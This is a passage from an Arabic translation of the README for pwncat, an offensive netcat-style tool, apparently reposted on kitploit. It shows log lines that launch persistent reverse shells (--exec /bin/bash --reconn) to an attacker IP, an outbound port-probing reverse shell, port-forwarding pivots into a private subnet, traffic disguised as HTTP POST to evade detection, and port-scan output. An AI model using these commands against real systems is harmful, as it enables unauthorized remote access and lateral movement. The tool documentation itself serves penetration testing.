[PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
[PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4446 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4447 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4448 &

تسجيل الدخول

ملاحظة: تأكد من أن لديك شيل عكسي يعود إليك باستمرار. بهذه الطريقة يمكنك دائمًا تغيير إعدادات التسجيل دون فقدان الشيل.

مستوى التسجيل وإعادة التوجيه

إذا أردت، يمكنك بدء مستمع في وضع تسجيل كامل (TRACE) لمعرفة ما يحدث أو ببساطة لاستكشاف الأخطاء وإصلاحها. يتم تلوين رسائل السجل حسب خطورتها. يتم إيقاف الألوان تلقائيًا إذا لم يكن stderr عبارة عن pty، على سبيل المثال: إذا تم توجيهها إلى ملف. يمكنك أيضًا تعطيل التسجيل الملون يدويًا لمخرجات الطرفية عبر المفتاح --color.```bash pwncat -vvvv -l 4444

root@kitploit:~
سترى (وسط كل هذه الرطانة) رسالة TRACE:```bash
2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

بمجرد أن ترى هذا على المستمع، يمكنك إصدار أوامر إلى العميل. جميع رسائل التصحيح ليست ضرورية أيضًا، لذا يمكنك بأمان باستخدام Ctrl+c إنهاء الخادم وتشغيله مرة أخرى في الوضع الصامت:```bash pwncat -l 4444

root@kitploit:~
الآن انتظر بضع ثوانٍ كحد أقصى، حسب الفاصل الزمني الذي يعود به العميل إليك، وها هي جلستك أصبحت الآن خالية من السجلات مرة أخرى.

عدم وجود رسائل معلوماتية على الإطلاق، قد لا يكون مرغوبًا فيه أيضًا. قد ترغب في معرفة ما يحدث
خلف الكواليس، أليس كذلك؟ أنهِ خادمك بأمان باستخدام <kbd>Ctrl</kbd>+<kbd>c</kbd> وأعد توجيه
الإشعارات إلى ملف سجل:```bash
pwncat -l -vvv 4444 2> comm.txt

الآن كل ما ستراه في جلسة الطرفية الخاصة بك هو مدخلات ومخرجات الأوامر الفعلية. إذا كنت تريد رؤية ما يحدث خلف الكواليس، افتح نافذة طرفية ثانية وتابع ملف comm.txt:```bash

View communication info

tail -fn50 comm.txt

2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744' 2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744 2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining) 2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

root@kitploit:~
#### معلومات المقبس

ميزة مفيدة أخرى هي عرض إعدادات المقبس والشبكة المكوّنة حالياً.
استخدم المفتاح `--info` مع أي من `socket` أو `ipv4` أو `ipv6` أو `tcp` أو `all` لعرض جميع الإعدادات المتاحة.

**ملاحظة:** لعرض هذه الإعدادات، يجب أن تكون على الأقل في مستوى تسجيل `INFO` (`-vv`).

فيما يلي مثال على الإخراج في وضع IPv4/TCP بدون أي إعدادات مخصصة:```
INFO: [bind-sock] Sock: SO_DEBUG: 0
INFO: [bind-sock] Sock: SO_ACCEPTCONN: 1
INFO: [bind-sock] Sock: SO_REUSEADDR: 1
INFO: [bind-sock] Sock: SO_KEEPALIVE: 0
INFO: [bind-sock] Sock: SO_DONTROUTE: 0
INFO: [bind-sock] Sock: SO_BROADCAST: 0
INFO: [bind-sock] Sock: SO_LINGER: 0
INFO: [bind-sock] Sock: SO_OOBINLINE: 0
INFO: [bind-sock] Sock: SO_REUSEPORT: 0
INFO: [bind-sock] Sock: SO_SNDBUF: 16384
INFO: [bind-sock] Sock: SO_RCVBUF: 131072
INFO: [bind-sock] Sock: SO_SNDLOWAT: 1
INFO: [bind-sock] Sock: SO_RCVLOWAT: 1
INFO: [bind-sock] Sock: SO_SNDTIMEO: 0
INFO: [bind-sock] Sock: SO_RCVTIMEO: 0
INFO: [bind-sock] Sock: SO_ERROR: 0
INFO: [bind-sock] Sock: SO_TYPE: 1
INFO: [bind-sock] Sock: SO_PASSCRED: 0
INFO: [bind-sock] Sock: SO_PEERCRED: 0
INFO: [bind-sock] Sock: SO_BINDTODEVICE: 0
INFO: [bind-sock] Sock: SO_PRIORITY: 0
INFO: [bind-sock] Sock: SO_MARK: 0
INFO: [bind-sock] IPv4: IP_OPTIONS: 0
INFO: [bind-sock] IPv4: IP_HDRINCL: 0
INFO: [bind-sock] IPv4: IP_TOS: 0
INFO: [bind-sock] IPv4: IP_TTL: 64
INFO: [bind-sock] IPv4: IP_RECVOPTS: 0
INFO: [bind-sock] IPv4: IP_RECVRETOPTS: 0
INFO: [bind-sock] IPv4: IP_RETOPTS: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_IF: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_TTL: 1
INFO: [bind-sock] IPv4: IP_MULTICAST_LOOP: 1
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_TTL: 0
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_LOOP: 0
INFO: [bind-sock] IPv4: IP_MAX_MEMBERSHIPS: 0
INFO: [bind-sock] IPv4: IP_TRANSPARENT: 0
INFO: [bind-sock] TCP: TCP_NODELAY: 0
INFO: [bind-sock] TCP: TCP_MAXSEG: 536
INFO: [bind-sock] TCP: TCP_CORK: 0
INFO: [bind-sock] TCP: TCP_KEEPIDLE: 7200
INFO: [bind-sock] TCP: TCP_KEEPINTVL: 75
INFO: [bind-sock] TCP: TCP_KEEPCNT: 9
INFO: [bind-sock] TCP: TCP_SYNCNT: 6
INFO: [bind-sock] TCP: TCP_LINGER2: 60
INFO: [bind-sock] TCP: TCP_DEFER_ACCEPT: 0
INFO: [bind-sock] TCP: TCP_WINDOW_CLAMP: 0
INFO: [bind-sock] TCP: TCP_INFO: 10
INFO: [bind-sock] TCP: TCP_QUICKACK: 1
INFO: [bind-sock] TCP: TCP_FASTOPEN: 0

سحر إعادة توجيه المنافذ

إعادة توجيه منفذ TCP المحلي

السيناريو

  1. يمكن الوصول إلى أليس من الخارج (TCP/UDP)
  2. لا يمكن الوصول إلى بوب إلا من جهاز أليس``` | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | -----|----> | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat 72.0.0.1 3306 | pwncat \ | | -L 72.0.0.1:3306 \ | | 10.0.0.1 3306 |
root@kitploit:~
#### إعادة توجيه منفذ UDP المحلي

**السيناريو**
1. يمكن الوصول إلى أليس من الخارج (عبر UDP فقط)
2. يمكن الوصول إلى بوب فقط من جهاز أليس```
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     UDP     +-----------------+     TCP     +-----------------+
     | The cat         | -----|----> | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat -L       |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -u 72.0.0.1 3306  |      pwncat -u \              |
                              |        -L 72.0.0.1:3306 \     |
                              |        10.0.0.1 3306          |

إعادة توجيه منفذ TCP عن بُعد

السيناريو

  1. لا يمكن الوصول إلى أليس من الخارج
  2. يُسمح لأليس بالاتصال بالخارج (TCP/UDP)
  3. لا يمكن الوصول إلى بوب إلا من جهاز أليس``` | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | <----|----- | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat -l 4444 | pwncat --reconn \ | | -R 56.0.0.1:4444 \ | | 10.0.0.1 3306 |
root@kitploit:~
#### إعادة توجيه منفذ UDP عن بعد

**السيناريو**
1. لا يمكن الوصول إلى أليس من الخارج
2. يُسمح لأليس بالاتصال بالخارج (UDP: DNS فقط)
3. لا يمكن الوصول إلى بوب إلا من جهاز أليس```
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     UDP     +-----------------+     TCP     +-----------------+
     | The cat         | <----|----- | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat          |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -u -l 53          |      pwncat -u --reconn \     |
                              |        -R 56.0.0.1:4444 \     |
                              |        10.0.0.1 3306          |

تنقل المنافذ الصادرة

إذا لم تكن لديك أي فكرة عن المنافذ الصادرة المسموح بها من الجهاز المستهدف، فيمكنك توجيه العميل (على سبيل المثال: في حالة وجود شل عكسي) لاختبار المنافذ الصادرة بلا نهاية.```bash

Reverse shell on target (the client)

--exec # The command shell the client should provide

--reconn # Instruct it to reconnect endlessly

--reconn-wait # Reconnect every 0.1 seconds

--reconn-robin # Use these ports to probe for outbount connections

pwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53

root@kitploit:~
بمجرد تشغيل العميل، يمكنك استخدام المقابس الخام (raw sockets) للتحقق من حركة المرور الواردة، أو استخدام أداة مثل Wireshark أو tcpdump لمعرفة المنافذ التي يمكن للعميل الاتصال بك من خلالها.

إذا وجدت منفذًا واحدًا أو أكثر يمكن للعميل الاتصال بك من خلاله،
فما عليك سوى بدء تشغيل المستمع (listener) محليًا وانتظار عودته.```bash
pwncat -l <ip> <port>

إذا اتصل العميل بك، ستحصل على شل عكسي يعمل. إذا أوقفت خادم الاستماع المحلي الخاص بك عن طريق الخطأ أو عن قصد، سيقوم العميل بمسح المنافذ مرة أخرى حتى يتصل بنجاح. لقتل عميل الشل العكسي، يمكنك استخدام --safe-word (عند بدء تشغيل العميل).

إذا لم ينجح أي من هذا، يمكنك إضافة إجراءات أخرى مثل استخدام UDP أو حتى تغليف حزمك في بروتوكولات ذات مستوى أعلى، مثل HTTP أو غيرها. راجع PSE أو الأمثلة أدناه لمعرفة كيفية تحويل حركة المرور الخاصة بك.

محرك برمجة Pwncat (PSE)

يقدم pwncat محركًا نصيًا قائمًا على بايثون لحقن الكود المخصص الخاص بك قبل إرسال البيانات وبعد استلامها.

كيف يعمل

ستحتاج ببساطة إلى توفير ملف بايثون يحتوي على وظيفة نقطة الدخول التالية:```python def transform(data, pse): # Example to reverse a string return data[::-1]

root@kitploit:~
يجب أن يكون اسم الدالة `transform` ويجب أن تكون الوسائط الموزعة باسم `data` و `pse`.
عدا ذلك، يمكنك إضافة أي قدر من الكود الذي تريده. يمكن لكل نسخة من `pwncat` أن تأخذ نصوصين:

1. `--script-send`: سيتم تطبيق النص قبل الإرسال
2. `--script-recv`: سيتم تطبيق النص بعد الاستلام

انظر [هنا](https://github.com/cytopia/pwncat/blob/HEAD/pse) للحصول على API والمزيد من التفاصيل


#### مثال 1: تشفير غير متماثل مبني ذاتيًا

> PSE: الكود المصدري لـ [asym-enc](https://github.com/cytopia/pwncat/blob/HEAD/pse/asym-enc)

سيؤدي هذا إلى تشفير حركة المرور الخاصة بك بشكل غير متماثل. إنه مجرد تنفيذ أساسي جدًا لـ [ROT13](https://en.wikipedia.org/wiki/ROT13) بأطوال إزاحة مختلفة على كلا الجانبين *لمحاكاة* عدم التماثل. يمكنك فعل الشيء نفسه وتنفيذ تشفير غير متماثل قائم على GPG لـ PSE.```bash
# server
pwncat -vvvv -l localhost 4444 \
  --script-send pse/asym-enc/pse-asym_enc-server_send.py \
  --script-recv pse/asym-enc/pse-asym_enc-server_recv.py
root@kitploit:~
# client
pwncat -vvvv localhost 4444 \
  --script-send pse/asym-enc/pse-asym_enc-client_send.py \
  --script-recv pse/asym-enc/pse-asym_enc-client_recv.py

المثال 2: غلاف HTTP POST مخصّص

PSE: http-post الكود المصدري

سيؤدي هذا إلى تغليف كل حركة المرور في طلب HTTP POST صالح، مما يجعله يبدو مثل حركة مرور HTTP العادية.```bash

server

pwncat -vvvv -l localhost 4444
--script-send pse/http-post/pse-http_post-pack.py
--script-recv pse/http-post/pse-http_post-unpack.py

root@kitploit:~
```bash
# client
pwncat -vvvv localhost 4444 \
  --script-send pse/http-post/pse-http_post-pack.py \
  --script-recv pse/http-post/pse-http_post-unpack.py

مسح المنافذ

TCP```bash

$ sudo netstat -tlpn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:4444 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN tcp6 0 0 ::1:631 :::* LISTEN tcp6 0 0 ::1:25 :::* LISTEN tcp6 0 0 ::1:4444 :::* LISTEN tcp6 0 0 :::1053 :::* LISTEN tcp6 0 0 :::902 :::* LISTEN

root@kitploit:~
#### UDP
المنافذ UDP التالية مكشوفة:```bash
$ sudo netstat -ulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address
udp        0      0 0.0.0.0:631             0.0.0.0:*
udp        0      0 0.0.0.0:5353            0.0.0.0:*
udp        0      0 0.0.0.0:39856           0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp6       0      0 :::1053                 :::*
udp6       0      0 :::5353                 :::*
udp6       0      0 :::57728                :::*
nmap```bash

$ time sudo nmap -T5 localhost --version-intensity 0 -p- -sU Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-24 17:03 CEST Warning: 127.0.0.1 giving up on port because retransmission cap hit (2). Nmap scan report for localhost (127.0.0.1) Host is up (0.000035s latency). Other addresses for localhost (not scanned): ::1 Not shown: 65529 closed ports PORT STATE SERVICE 68/udp open|filtered dhcpc 631/udp open|filtered ipp 1053/udp open|filtered remote-as 5353/udp open|filtered zeroconf 39856/udp open|filtered unknown 40488/udp open|filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 179.15 seconds

real 2m52.446s user 0m0.844s sys 0m2.571s

root@kitploit:~
##### netcat```bash
$ time nc  -z localhost 1-65535  -u -4 -v
Connection to localhost 68 port [udp/bootpc] succeeded!
Connection to localhost 631 port [udp/ipp] succeeded!
Connection to localhost 1053 port [udp/*] succeeded!
Connection to localhost 5353 port [udp/mdns] succeeded!
Connection to localhost 39856 port [udp/*] succeeded!

real    0m18.734s
user    0m1.004s
sys     0m2.634s
pwncat```bash

$ time pwncat -z localhost 1-65535 -u -4 Scanning 65535 ports [+] 68/UDP open (IPv4) [+] 631/UDP open (IPv4) [+] 1053/UDP open (IPv4) [+] 5353/UDP open (IPv4) [+] 39856/UDP open (IPv4)

real 0m7.309s user 0m6.465s sys 0m4.794s

root@kitploit:~
## :information_source: الأسئلة الشائعة

**راجع الأسئلة الشائعة الكاملة هنا:** https://docs.pwncat.org/en/latest/faq.html

**سؤال:** هل `pwncat` متوافق مع `netcat`؟

**إجابة:** نعم، إنه متوافق تمامًا من حيث سلوكه في وضع الاتصال والاستماع والإدخال/الإخراج الصفري.
يمكنك حتى مزج `pwncat` مع `netcat` أو `ncat` أو أدوات مماثلة.


**سؤال:** هل يعمل على X؟

**إجابة:** في حالته الحالية، يعمل مع Python 2 و 3 و pypy2 و pypy3 وتم اختباره بالكامل على Linux و MacOS. دعم Windows متاح ولكنه يعتبر تجريبيًا (انظر [اختبارات التكامل](https://github.com/cytopia/pwncat/actions)).


**سؤال:** وجدت خطأ / لدي اقتراح لميزة جديدة! ماذا يمكنني أن أفعل؟

**إجابة:** للإبلاغ عن الأخطاء أو التحسينات، يرجى فتح قضية [هنا](https://github.com/cytopia/pwncat/issues).


**سؤال:** كيف يمكنني دعم هذا المشروع؟

**إجابة:** شكرًا لسؤالك! أولاً، قم بتعليم هذا المشروع بنجمة لإعطائي بعض الملاحظات وانظر [CONTRIBUTING.md](https://github.com/cytopia/pwncat/blob/HEAD/CONTRIBUTING.md) للتفاصيل.


## :sunrise: الأعمال الفنية

<table>
 <thead>
  <tr>
   <th>النوع</th>
   <th>الفنان</th>
   <th>الصورة</th>
   <th>الترخيص</th>
  </tr>
 </thead>
 <tbody>
  <tr>
   <td>شعار</td>
   <td><a href="https://github.com/maifz">maifz</a></td>
   <td><a href="art/logo.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/a1b54927c2019b933f6e456079c612aff45d525e69c6058199d8fe049916146f.png" style="height:128px;" height="128" alt="شعار pwncat" title="شعار pwncat" /></a></td>
   <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" /></a></td>
  </tr>
  <tr>
   <td>لافتة 1</td>
   <td><a href="https://github.com/maifz">maifz</a></td>
   <td><a href="art/banner-1.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/51461eddf94bb0ed53b8d28478113978cf87ea31e645b2afc8e1783053e8bafc.png" style="height:128px;" height="128" alt="لافتة pwncat" title="لافتة pwncat"  /></a></td>
   <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" /></a></td>
  </tr>
  <tr>
   <td>لافتة 2</td>
   <td><a href="https://github.com/maifz">maifz</a></td>
   <td><a href="art/banner-2.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/1deb2e118b970b2b974f682e9ef087bbc5cc9c18674b5d4cbbdf967885d119c9.png" style="height:128px;" height="128" alt="لافتة pwncat" title="لافتة pwncat" /></a></td>
   <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" /></a></td>
  </tr>
 </tbody>
</table>


## :lock: أدوات sec من [cytopia](https://github.com/cytopia)

فيما يلي قائمة بأدوات sec والمستندات التي أقوم بصيانتها.

| الاسم                 | الفئة             | اللغة   | الوصف |
|----------------------|----------------------|------------|-------------|
| **[offsec]**         | توثيق        | Markdown   | قائمة مراجعة Offsec وأدوات وأمثلة |
| **[header-fuzz]**    | تعداد          | Bash       | فحص رؤوس HTTP |
| **[smtp-user-enum]** | تعداد          | Python 2+3 | تعداد مستخدمي SMTP |
| **[urlbuster]**      | تعداد          | Python 2+3 | ماسح أدلة ويب قابل للتعديل |
| **[pwncat]**         | التنقل           | Python 2+3 | netcat عبر الأنظمة الأساسية معززة |
| **[kusanagi]**       | مولد الحمولة    | Python 3   | مولد حمولات shell عكسية ومتصلة |
| **[badchars]**       | الهندسة العكسية  | Python 2+3 | مولد أحرف سيئة |
| **[fuzza]**          | الهندسة العكسية  | Python 2+3 | أداة اختبار TCP بالتخمين |
| **[docker-dvwa]**    | بيئة اختبار           | PHP        | DVWA مع تحديات رفع الامتيازات المحلية |

[offsec]: https://github.com/cytopia/offsec
[header-fuzz]: https://github.com/cytopia/header-fuzz
[smtp-user-enum]: https://github.com/cytopia/smtp-user-enum
[urlbuster]: https://github.com/cytopia/urlbuster
[pwncat]: https://github.com/cytopia/pwncat
[kusanagi]: https://github.com/cytopia/kusanagi
[badchars]: https://github.com/cytopia/badchars
[fuzza]: https://github.com/cytopia/fuzza
[docker-dvwa]: https://github.com/cytopia/docker-dvwa


## :octocat: المساهمة

انظر **[إرشادات المساهمة](https://github.com/cytopia/pwncat/blob/HEAD/CONTRIBUTING.md)** للمساعدة في تحسين هذا المشروع.


## :exclamation: إخلاء مسؤولية

يجوز استخدام هذه الأداة للأغراض القانونية فقط. يتحمل المستخدمون المسؤولية الكاملة عن أي إجراءات يتم تنفيذها باستخدام هذه الأداة. لا يتحمل المؤلف أي مسؤولية عن الأضرار الناجمة عن هذه الأداة. إذا لم تكن هذه الشروط مقبولة لديك، فلا تستخدم هذه الأداة.


## :page_facing_up: الترخيص

**[رخصة MIT](https://github.com/cytopia/pwncat/blob/HEAD/LICENSE.txt)**

حقوق النشر (c) 2020 **[cytopia](https://github.com/cytopia)**